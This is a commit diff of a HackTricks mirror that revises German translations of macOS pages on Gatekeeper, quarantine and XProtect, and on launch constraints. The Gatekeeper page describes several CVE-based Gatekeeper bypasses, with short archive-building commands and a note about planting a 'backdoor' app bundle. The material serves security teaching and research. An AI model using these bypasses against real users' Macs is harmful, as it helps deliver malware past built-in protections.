mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-14 08:57:55 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
25ebee4b09
commit
808efd44c2
20 changed files with 642 additions and 524 deletions
|
@ -1,16 +1,19 @@
|
|||
# macOS Gatekeeper / Quarantine / XProtect
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lerne AWS-Hacking von Null bis Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Arbeitest du in einem **Cybersecurity-Unternehmen**? Möchtest du, dass dein **Unternehmen in HackTricks beworben wird**? Oder möchtest du Zugang zur **neueste Version der PEASS oder HackTricks im PDF-Format herunterladen**? Überprüfe die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecke [**Die PEASS-Familie**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Erhalte die [**offiziellen PEASS & HackTricks Merchandise**](https://peass.creator-spring.com)
|
||||
* **Tritt der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile deine Hacking-Tricks, indem du PRs an das** [**hacktricks-Repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud-Repo**](https://github.com/carlospolop/hacktricks-cloud) **einreichst.**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -18,11 +21,11 @@
|
|||
|
||||
## Gatekeeper
|
||||
|
||||
**Gatekeeper** ist eine Sicherheitsfunktion, die für Mac-Betriebssysteme entwickelt wurde, um sicherzustellen, dass Benutzer **nur vertrauenswürdige Software** auf ihren Systemen ausführen. Es funktioniert, indem es die **Software validiert**, die ein Benutzer herunterlädt und versucht zu öffnen, aus **Quellen außerhalb des App Store**, wie einer App, einem Plug-in oder einem Installationspaket.
|
||||
**Gatekeeper** ist eine Sicherheitsfunktion, die für Mac-Betriebssysteme entwickelt wurde, um sicherzustellen, dass Benutzer **nur vertrauenswürdige Software** auf ihren Systemen ausführen. Es funktioniert, indem es **Software validiert**, die ein Benutzer herunterlädt und versucht zu öffnen, aus **Quellen außerhalb des App Store**, wie einer App, einem Plug-in oder einem Installationspaket.
|
||||
|
||||
Der Schlüsselmechanismus von Gatekeeper liegt in seinem **Überprüfungsprozess**. Es wird überprüft, ob die heruntergeladene Software **von einem anerkannten Entwickler signiert** ist, um die Authentizität der Software sicherzustellen. Darüber hinaus wird festgestellt, ob die Software **von Apple notariell beglaubigt** wurde, was bestätigt, dass sie frei von bekanntem schädlichem Inhalt ist und nach der Notarisierung nicht manipuliert wurde.
|
||||
|
||||
Zusätzlich verstärkt Gatekeeper die Benutzerkontrolle und Sicherheit, indem es **Benutzer auffordert, das Öffnen** der heruntergeladenen Software zum ersten Mal zu genehmigen. Diese Sicherheitsmaßnahme hilft, zu verhindern, dass Benutzer versehentlich potenziell schädlichen ausführbaren Code ausführen, den sie möglicherweise fälschlicherweise für eine harmlose Datendatei gehalten haben.
|
||||
Zusätzlich verstärkt Gatekeeper die Benutzerkontrolle und Sicherheit, indem es **Benutzer auffordert, das Öffnen** heruntergeladener Software zum ersten Mal zu genehmigen. Diese Sicherheitsmaßnahme hilft, zu verhindern, dass Benutzer versehentlich potenziell schädlichen ausführbaren Code ausführen, den sie möglicherweise fälschlicherweise für eine harmlose Datendatei gehalten haben.
|
||||
|
||||
### Anwendungssignaturen
|
||||
|
||||
|
@ -32,15 +35,15 @@ So funktioniert es:
|
|||
|
||||
1. **Signieren der Anwendung:** Wenn ein Entwickler bereit ist, seine Anwendung zu verteilen, **signiert er die Anwendung mit einem privaten Schlüssel**. Dieser private Schlüssel ist mit einem **Zertifikat verbunden, das Apple dem Entwickler ausstellt**, wenn er sich im Apple Developer Program anmeldet. Der Signierungsprozess umfasst die Erstellung eines kryptografischen Hashs aller Teile der App und die Verschlüsselung dieses Hashs mit dem privaten Schlüssel des Entwicklers.
|
||||
2. **Verteilen der Anwendung:** Die signierte Anwendung wird dann zusammen mit dem Zertifikat des Entwicklers verteilt, das den entsprechenden öffentlichen Schlüssel enthält.
|
||||
3. **Überprüfen der Anwendung:** Wenn ein Benutzer die Anwendung herunterlädt und versucht, sie auszuführen, verwendet das Mac-Betriebssystem den öffentlichen Schlüssel aus dem Zertifikat des Entwicklers, um den Hash zu entschlüsseln. Es berechnet dann den Hash basierend auf dem aktuellen Zustand der Anwendung neu und vergleicht diesen mit dem entschlüsselten Hash. Wenn sie übereinstimmen, bedeutet dies, dass **die Anwendung seit der Signierung durch den Entwickler nicht verändert wurde**, und das System erlaubt es, die Anwendung auszuführen.
|
||||
3. **Überprüfen der Anwendung:** Wenn ein Benutzer die Anwendung herunterlädt und versucht, sie auszuführen, verwendet das Mac-Betriebssystem den öffentlichen Schlüssel aus dem Zertifikat des Entwicklers, um den Hash zu entschlüsseln. Es berechnet dann den Hash basierend auf dem aktuellen Zustand der Anwendung neu und vergleicht diesen mit dem entschlüsselten Hash. Wenn sie übereinstimmen, bedeutet dies, dass **die Anwendung seit der Signierung durch den Entwickler nicht verändert wurde**, und das System erlaubt das Ausführen der Anwendung.
|
||||
|
||||
Anwendungssignaturen sind ein wesentlicher Bestandteil der Gatekeeper-Technologie von Apple. Wenn ein Benutzer versucht, **eine Anwendung zu öffnen, die aus dem Internet heruntergeladen wurde**, überprüft Gatekeeper die Anwendungssignatur. Wenn sie mit einem von Apple an einen bekannten Entwickler ausgestellten Zertifikat signiert ist und der Code nicht manipuliert wurde, erlaubt Gatekeeper die Ausführung der Anwendung. Andernfalls blockiert es die Anwendung und warnt den Benutzer.
|
||||
Anwendungssignaturen sind ein wesentlicher Bestandteil der Gatekeeper-Technologie von Apple. Wenn ein Benutzer versucht, **eine Anwendung zu öffnen, die aus dem Internet heruntergeladen wurde**, überprüft Gatekeeper die Anwendungssignatur. Wenn sie mit einem von Apple an einen bekannten Entwickler ausgestellten Zertifikat signiert ist und der Code nicht manipuliert wurde, erlaubt Gatekeeper das Ausführen der Anwendung. Andernfalls blockiert es die Anwendung und warnt den Benutzer.
|
||||
|
||||
Seit macOS Catalina **überprüft Gatekeeper auch, ob die Anwendung von Apple notariell beglaubigt wurde**, was eine zusätzliche Sicherheitsebene hinzufügt. Der Notarisierungsprozess überprüft die Anwendung auf bekannte Sicherheitsprobleme und schädlichen Code, und wenn diese Überprüfungen bestanden werden, fügt Apple der Anwendung ein Ticket hinzu, das Gatekeeper überprüfen kann.
|
||||
|
||||
#### Überprüfen von Signaturen
|
||||
|
||||
Beim Überprüfen einer **Malwareprobe** solltest du immer die **Signatur** der Binärdatei überprüfen, da der **Entwickler**, der sie signiert hat, möglicherweise bereits mit **Malware** in Verbindung steht.
|
||||
Beim Überprüfen einer **Malwareprobe** sollten Sie immer **die Signatur** der Binärdatei überprüfen, da der **Entwickler**, der sie signiert hat, möglicherweise bereits **mit Malware in Verbindung steht.**
|
||||
```bash
|
||||
# Get signer
|
||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||
|
@ -63,7 +66,7 @@ Apples Notarisierungsprozess dient als zusätzliche Sicherheitsmaßnahme, um Ben
|
|||
|
||||
Wenn die Software diese Inspektion ohne Bedenken **besteht**, generiert der Notarservice ein Notarisierungsticket. Der Entwickler ist dann verpflichtet, **dieses Ticket an seiner Software anzuhängen**, ein Prozess, der als 'Stapeln' bekannt ist. Darüber hinaus wird das Notarisierungsticket auch online veröffentlicht, wo Gatekeeper, Apples Sicherheitstechnologie, darauf zugreifen kann.
|
||||
|
||||
Bei der ersten Installation oder Ausführung der Software des Benutzers informiert die Existenz des Notarisierungstickets - ob an die ausführbare Datei angeheftet oder online gefunden - **Gatekeeper darüber, dass die Software von Apple notariell beglaubigt wurde**. Infolgedessen zeigt Gatekeeper eine beschreibende Nachricht im ersten Startdialog an, die darauf hinweist, dass die Software von Apple auf schädlichen Inhalt überprüft wurde. Dieser Prozess erhöht somit das Vertrauen der Benutzer in die Sicherheit der Software, die sie auf ihren Systemen installieren oder ausführen.
|
||||
Bei der ersten Installation oder Ausführung der Software des Benutzers informiert die Existenz des Notarisierungstickets - ob an die ausführbare Datei angeheftet oder online gefunden - **Gatekeeper darüber, dass die Software von Apple notariert wurde**. Infolgedessen zeigt Gatekeeper eine beschreibende Nachricht im ersten Startdialog an, die darauf hinweist, dass die Software von Apple auf schädlichen Inhalt überprüft wurde. Dieser Prozess erhöht somit das Vertrauen der Benutzer in die Sicherheit der Software, die sie auf ihren Systemen installieren oder ausführen.
|
||||
|
||||
### Enumerating GateKeeper
|
||||
|
||||
|
@ -128,7 +131,7 @@ Wenn vollständig aktiviert, wird eine neue Option erscheinen:
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (1151).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Es ist möglich zu **überprüfen, ob eine App von GateKeeper erlaubt wird** mit:
|
||||
Es ist möglich, **zu überprüfen, ob eine App von GateKeeper erlaubt wird** mit:
|
||||
```bash
|
||||
spctl --assess -v /Applications/App.app
|
||||
```
|
||||
|
@ -149,7 +152,7 @@ spctl --assess -v /Applications/App.app
|
|||
```
|
||||
### Quarantäne-Dateien
|
||||
|
||||
Beim **Herunterladen** einer Anwendung oder Datei fügen bestimmte macOS **Anwendungen** wie Webbrowser oder E-Mail-Clients dem heruntergeladenen Datei ein erweitertes Dateiattribut hinzu, das allgemein als "**Quarantäne-Flag**" bekannt ist. Dieses Attribut dient als Sicherheitsmaßnahme, um die Datei als von einer nicht vertrauenswürdigen Quelle (dem Internet) stammend zu kennzeichnen und potenziell Risiken zu tragen. Allerdings fügen nicht alle Anwendungen dieses Attribut hinzu; gängige BitTorrent-Client-Software umgeht diesen Prozess normalerweise.
|
||||
Beim **Herunterladen** einer Anwendung oder Datei fügen bestimmte macOS **Anwendungen** wie Webbrowser oder E-Mail-Clients dem heruntergeladenen Datei ein erweitertes Dateiattribut hinzu, das allgemein als "**Quarantäne-Flag**" bekannt ist. Dieses Attribut dient als Sicherheitsmaßnahme, um die Datei als von einer nicht vertrauenswürdigen Quelle (dem Internet) stammend zu kennzeichnen und potenziell Risiken zu tragen. Allerdings fügen nicht alle Anwendungen dieses Attribut hinzu; beispielsweise umgeht gängige BitTorrent-Client-Software normalerweise diesen Prozess.
|
||||
|
||||
**Das Vorhandensein eines Quarantäne-Flags signalisiert die Gatekeeper-Sicherheitsfunktion von macOS, wenn ein Benutzer versucht, die Datei auszuführen.**
|
||||
|
||||
|
@ -164,7 +167,7 @@ Daher werden diese Überprüfungen **nur bei der Ausführung von Apps mit dem Qu
|
|||
{% hint style="warning" %}
|
||||
Dieses Attribut muss von der Anwendung, die die Datei erstellt/herunterlädt, **gesetzt werden**.
|
||||
|
||||
Allerdings haben Dateien, die in einer Sandbox ausgeführt werden, dieses Attribut für jede Datei, die sie erstellen. Und nicht sandboxed Apps können es selbst setzen oder den [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) Schlüssel in der **Info.plist** angeben, was das System veranlasst, das `com.apple.quarantine` erweiterte Attribut auf den erstellten Dateien zu setzen,
|
||||
Allerdings haben Dateien, die in einer Sandbox ausgeführt werden, dieses Attribut für jede Datei, die sie erstellen, gesetzt. Und nicht sandboxed Apps können es selbst setzen oder den [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) Schlüssel in der **Info.plist** angeben, was das System veranlasst, das `com.apple.quarantine` erweiterte Attribut auf den erstellten Dateien zu setzen,
|
||||
{% endhint %}
|
||||
|
||||
Darüber hinaus sind alle Dateien, die von einem Prozess erstellt werden, der **`qtn_proc_apply_to_self`** aufruft, quarantiniert. Oder die API **`qtn_file_apply_to_path`** fügt dem angegebenen Dateipfad das Quarantäne-Attribut hinzu.
|
||||
|
@ -302,7 +305,7 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
XProtect befindet sich an einem von SIP geschützten Ort unter **/Library/Apple/System/Library/CoreServices/XProtect.bundle** und im Inneren des Bundles finden Sie Informationen, die XProtect verwendet:
|
||||
XProtect befindet sich an einem von SIP geschützten Ort unter **/Library/Apple/System/Library/CoreServices/XProtect.bundle** und im Bundle finden Sie Informationen, die XProtect verwendet:
|
||||
|
||||
* **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Erlaubt Code mit diesen cdhashes, Legacy-Berechtigungen zu verwenden.
|
||||
* **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: Liste von Plugins und Erweiterungen, die über BundleID und TeamID oder durch Angabe einer Mindestversion nicht geladen werden dürfen.
|
||||
|
@ -319,7 +322,7 @@ Beachten Sie, dass Gatekeeper **nicht jedes Mal ausgeführt wird**, wenn Sie ein
|
|||
|
||||
Daher war es zuvor möglich, eine App auszuführen, um sie mit Gatekeeper zu cachen, dann **nicht ausführbare Dateien der Anwendung zu modifizieren** (wie Electron asar oder NIB-Dateien) und wenn keine anderen Schutzmaßnahmen vorhanden waren, wurde die Anwendung mit den **bösartigen** Ergänzungen **ausgeführt**.
|
||||
|
||||
Jetzt ist dies jedoch nicht mehr möglich, da macOS **das Modifizieren von Dateien** innerhalb von Anwendungsbundles verhindert. Wenn Sie also den [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) Angriff versuchen, werden Sie feststellen, dass es nicht mehr möglich ist, ihn auszunutzen, da Sie nach dem Ausführen der App, um sie mit Gatekeeper zu cachen, das Bundle nicht mehr ändern können. Und wenn Sie beispielsweise den Namen des Contents-Verzeichnisses in NotCon ändern (wie im Exploit angegeben) und dann die Hauptbinärdatei der App ausführen, um sie mit Gatekeeper zu cachen, wird ein Fehler ausgelöst und sie wird nicht ausgeführt.
|
||||
Jetzt ist dies jedoch nicht mehr möglich, da macOS **das Modifizieren von Dateien** innerhalb von Anwendungs-Bundles verhindert. Wenn Sie also den [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) Angriff versuchen, werden Sie feststellen, dass es nicht mehr möglich ist, ihn auszunutzen, da Sie nach dem Ausführen der App, um sie mit Gatekeeper zu cachen, das Bundle nicht mehr ändern können. Und wenn Sie beispielsweise den Namen des Contents-Verzeichnisses in NotCon ändern (wie im Exploit angegeben) und dann die Hauptbinärdatei der App ausführen, um sie mit Gatekeeper zu cachen, wird ein Fehler ausgelöst und sie wird nicht ausgeführt.
|
||||
|
||||
## Gatekeeper Umgehungen
|
||||
|
||||
|
@ -327,15 +330,15 @@ Jede Möglichkeit, Gatekeeper zu umgehen (d.h. den Benutzer dazu zu bringen, etw
|
|||
|
||||
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
|
||||
|
||||
Es wurde beobachtet, dass, wenn das **Archivierungsprogramm** zum Extrahieren verwendet wird, Dateien mit **Pfaden, die 886 Zeichen überschreiten**, das erweiterte Attribut com.apple.quarantine nicht erhalten. Diese Situation ermöglicht es versehentlich, dass diese Dateien **Gatekeepers** Sicherheitsüberprüfungen **umgehen**.
|
||||
Es wurde beobachtet, dass, wenn das **Archivierungsprogramm** zum Extrahieren verwendet wird, Dateien mit **Pfaden, die 886 Zeichen überschreiten**, das erweiterte Attribut com.apple.quarantine nicht erhalten. Diese Situation ermöglicht es unbeabsichtigt, dass diese Dateien **Gatekeepers** Sicherheitsüberprüfungen **umgehen**.
|
||||
|
||||
Überprüfen Sie den [**originalen Bericht**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) für weitere Informationen.
|
||||
|
||||
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
|
||||
|
||||
Wenn eine Anwendung mit **Automator** erstellt wird, befinden sich die Informationen darüber, was sie benötigt, um ausgeführt zu werden, in `application.app/Contents/document.wflow`, nicht im ausführbaren Programm. Das ausführbare Programm ist nur ein generisches Automator-Binärprogramm namens **Automator Application Stub**.
|
||||
Wenn eine Anwendung mit **Automator** erstellt wird, befinden sich die Informationen darüber, was sie zur Ausführung benötigt, in `application.app/Contents/document.wflow`, nicht in der ausführbaren Datei. Die ausführbare Datei ist nur ein generisches Automator-Binärprogramm namens **Automator Application Stub**.
|
||||
|
||||
Daher könnten Sie `application.app/Contents/MacOS/Automator\ Application\ Stub` **mit einem symbolischen Link auf einen anderen Automator Application Stub im System verweisen** und es wird das ausführen, was sich in `document.wflow` (Ihr Skript) befindet, **ohne Gatekeeper auszulösen**, da das tatsächliche ausführbare Programm nicht das Quarantäne-xattr hat.
|
||||
Daher könnten Sie `application.app/Contents/MacOS/Automator\ Application\ Stub` **mit einem symbolischen Link auf einen anderen Automator Application Stub im System verweisen** und es wird das ausführen, was sich in `document.wflow` (Ihr Skript) befindet, **ohne Gatekeeper auszulösen**, da die tatsächliche ausführbare Datei das Quarantäne-xattr nicht hat.
|
||||
|
||||
Beispiel für den erwarteten Speicherort: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
|
||||
|
||||
|
@ -351,7 +354,7 @@ Check the [**original report**](https://www.jamf.com/blog/jamf-threat-labs-safar
|
|||
|
||||
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
|
||||
|
||||
Auch wenn die Komponenten unterschiedlich sind, ist die Ausnutzung dieser Schwachstelle sehr ähnlich zu der vorherigen. In diesem Fall werden wir ein Apple-Archiv aus **`application.app/Contents`** erstellen, sodass **`application.app` das Quarantäneattribut** nicht erhält, wenn es von **Archive Utility** dekomprimiert wird.
|
||||
Auch wenn die Komponenten unterschiedlich sind, ist die Ausnutzung dieser Schwachstelle sehr ähnlich zu der vorherigen. In diesem Fall werden wir ein Apple-Archiv aus **`application.app/Contents`** erstellen, sodass **`application.app` das Quarantäneattribut nicht erhält**, wenn es von **Archive Utility** dekomprimiert wird.
|
||||
```bash
|
||||
aa archive -d test.app/Contents -o test.app.aar
|
||||
```
|
||||
|
@ -381,7 +384,7 @@ python3 -m http.server
|
|||
|
||||
Überprüfen Sie den [**originalen Bericht**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) für weitere Informationen.
|
||||
|
||||
Bitte beachten Sie, dass dies auch mit AppleArchives ausgenutzt werden könnte:
|
||||
Beachten Sie, dass dies auch mit AppleArchives ausgenutzt werden könnte:
|
||||
```bash
|
||||
mkdir app
|
||||
touch app/test
|
||||
|
@ -408,8 +411,8 @@ aa archive -d test/ -o test.aar
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Die Möglichkeit, eine Datei zu erstellen, die nicht das Quarantäneattribut gesetzt hat, machte es **möglich, Gatekeeper zu umgehen.** Der Trick bestand darin, eine **DMG-Datei-Anwendung** unter Verwendung der AppleDouble-Namenskonvention (beginne mit `._`) zu erstellen und eine **sichtbare Datei als symbolischen Link zu dieser versteckten** Datei ohne das Quarantäneattribut zu erstellen.\
|
||||
Wenn die **dmg-Datei ausgeführt wird**, wird sie, da sie kein Quarantäneattribut hat, **Gatekeeper umgehen.**
|
||||
Die Möglichkeit, eine Datei zu erstellen, die nicht das Quarantäneattribut gesetzt hat, machte es **möglich, Gatekeeper zu umgehen.** Der Trick bestand darin, eine **DMG-Dateianwendung** unter Verwendung der AppleDouble-Namenskonvention (beginne mit `._`) zu erstellen und eine **sichtbare Datei als symbolischen Link zu dieser versteckten** Datei ohne das Quarantäneattribut zu erstellen.\
|
||||
Wenn die **DMG-Datei ausgeführt wird**, wird sie, da sie kein Quarantäneattribut hat, **Gatekeeper umgehen.**
|
||||
```bash
|
||||
# Create an app bundle with the backdoor an call it app.app
|
||||
|
||||
|
|
|
@ -1,46 +1,47 @@
|
|||
# macOS Start-/Umgebungseinschränkungen und Trust Cache
|
||||
# macOS Launch/Environment Constraints & Trust Cache
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS oder HackTricks im PDF-Format** haben? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks-Repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud-Repo**](https://github.com/carlospolop/hacktricks-cloud) **senden**
|
||||
*
|
||||
* .
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Grundlegende Informationen
|
||||
## Grundinformationen
|
||||
|
||||
Startbeschränkungen in macOS wurden eingeführt, um die Sicherheit zu verbessern, indem sie regeln, wie, von wem und von wo aus ein Prozess gestartet werden kann. Eingeführt in macOS Ventura, bieten sie einen Rahmen, der **jede Systembinary in verschiedene Constraint-Kategorien** einteilt, die in der **Trust Cache**, einer Liste mit Systembinaries und ihren entsprechenden Hashes, definiert sind. Diese Einschränkungen gelten für jede ausführbare Binary im System und umfassen eine Reihe von **Regeln**, die die Anforderungen für das Starten einer bestimmten Binary festlegen. Die Regeln umfassen Selbstbeschränkungen, die eine Binary erfüllen muss, Elternbeschränkungen, die vom übergeordneten Prozess erfüllt werden müssen, und verantwortliche Beschränkungen, die von anderen relevanten Entitäten eingehalten werden müssen.
|
||||
Startbeschränkungen in macOS wurden eingeführt, um die Sicherheit zu erhöhen, indem **reguliert wird, wie, wer und von wo ein Prozess gestartet werden kann**. Eingeführt in macOS Ventura, bieten sie einen Rahmen, der **jede Systembinärdatei in verschiedene Beschränkungs-kategorien** einteilt, die innerhalb des **Trust-Caches** definiert sind, einer Liste, die Systembinärdateien und deren jeweilige Hashes enthält. Diese Beschränkungen erstrecken sich auf jede ausführbare Binärdatei im System und umfassen eine Reihe von **Regeln**, die die Anforderungen für **das Starten einer bestimmten Binärdatei** festlegen. Die Regeln umfassen Selbstbeschränkungen, die eine Binärdatei erfüllen muss, Elternbeschränkungen, die von ihrem übergeordneten Prozess erfüllt werden müssen, und verantwortliche Beschränkungen, die von anderen relevanten Entitäten eingehalten werden müssen.
|
||||
|
||||
Der Mechanismus erstreckt sich auch auf Apps von Drittanbietern durch **Umgebungseinschränkungen**, die ab macOS Sonoma eingeführt wurden und es Entwicklern ermöglichen, ihre Apps durch Angabe eines Satzes von Schlüsseln und Werten für Umgebungseinschränkungen zu schützen.
|
||||
Der Mechanismus erstreckt sich auf Drittanbieter-Apps durch **Umgebungsbeschränkungen**, beginnend mit macOS Sonoma, die es Entwicklern ermöglichen, ihre Apps zu schützen, indem sie eine **Menge von Schlüsseln und Werten für Umgebungsbeschränkungen angeben.**
|
||||
|
||||
Sie definieren **Startumgebung und Bibliothekseinschränkungen** in Constraint-Dictionaries, die Sie entweder in **`launchd`-Eigenschaftslisten-Dateien** oder in **separaten Eigenschaftslisten**-Dateien speichern, die Sie beim Codesignieren verwenden.
|
||||
Du definierst **Startumgebungs- und Bibliotheksbeschränkungen** in Beschränkungswörterbüchern, die du entweder in **`launchd`-Eigenschaftslisten** speicherst oder in **separaten Eigenschaftslisten**, die du beim Code-Signing verwendest.
|
||||
|
||||
Es gibt 4 Arten von Einschränkungen:
|
||||
Es gibt 4 Arten von Beschränkungen:
|
||||
|
||||
* **Selbstbeschränkungen**: Einschränkungen, die auf die **ausgeführte** Binary angewendet werden.
|
||||
* **Elternprozess**: Einschränkungen, die auf den **übergeordneten Prozess** angewendet werden (z. B. **`launchd`**, der einen XP-Dienst ausführt).
|
||||
* **Verantwortliche Beschränkungen**: Einschränkungen, die auf den **Prozess angewendet werden, der den Dienst aufruft**, in einer XPC-Kommunikation.
|
||||
* **Bibliotheksladebeschränkungen**: Verwenden Sie Bibliotheksladebeschränkungen, um selektiv Code zu beschreiben, der geladen werden kann.
|
||||
* **Selbstbeschränkungen**: Beschränkungen, die auf die **laufende** Binärdatei angewendet werden.
|
||||
* **Elternprozess**: Beschränkungen, die auf den **Elternprozess** (zum Beispiel **`launchd`**, der einen XP-Dienst ausführt) angewendet werden.
|
||||
* **Verantwortliche Beschränkungen**: Beschränkungen, die auf den **Prozess, der den Dienst aufruft**, in einer XPC-Kommunikation angewendet werden.
|
||||
* **Bibliotheksladebeschränkungen**: Verwende Bibliotheksladebeschränkungen, um selektiv Code zu beschreiben, der geladen werden kann.
|
||||
|
||||
Wenn ein Prozess versucht, einen anderen Prozess zu starten - indem er `execve(_:_:_:)` oder `posix_spawn(_:_:_:_:_:_:)` aufruft - überprüft das Betriebssystem, ob die **ausführbare** Datei ihre **eigene Selbstbeschränkung** erfüllt. Es überprüft auch, ob die ausführbare Datei des **übergeordneten Prozesses** die **Elternbeschränkung** der ausführbaren Datei erfüllt und ob die ausführbare Datei des **verantwortlichen Prozesses** die **verantwortliche Prozessbeschränkung** der ausführbaren Datei erfüllt. Wenn eine dieser Startbeschränkungen nicht erfüllt ist, führt das Betriebssystem das Programm nicht aus.
|
||||
Wenn ein Prozess versucht, einen anderen Prozess zu starten — indem er `execve(_:_:_:)` oder `posix_spawn(_:_:_:_:_:_:)` aufruft — überprüft das Betriebssystem, ob die **ausführbare** Datei ihre **eigene Selbstbeschränkung** **erfüllt**. Es wird auch überprüft, ob die **ausführbare** Datei des **Elternprozesses** die **Elternbeschränkung** der ausführbaren Datei **erfüllt** und ob die **ausführbare** Datei des **verantwortlichen** Prozesses die **verantwortliche Prozessbeschränkung** der ausführbaren Datei **erfüllt**. Wenn keine dieser Startbeschränkungen erfüllt ist, führt das Betriebssystem das Programm nicht aus.
|
||||
|
||||
Wenn beim Laden einer Bibliothek ein Teil der **Bibliothekseinschränkung nicht erfüllt** ist, lädt Ihr Prozess die Bibliothek nicht.
|
||||
Wenn beim Laden einer Bibliothek ein Teil der **Bibliotheksbeschränkung nicht zutrifft**, **lädt** dein Prozess die Bibliothek **nicht**.
|
||||
|
||||
## LC-Kategorien
|
||||
|
||||
Eine LC besteht aus **Fakten** und **logischen Operationen** (und, oder...), die Fakten kombinieren.
|
||||
Ein LC besteht aus **Fakten** und **logischen Operationen** (und, oder..), die Fakten kombinieren.
|
||||
|
||||
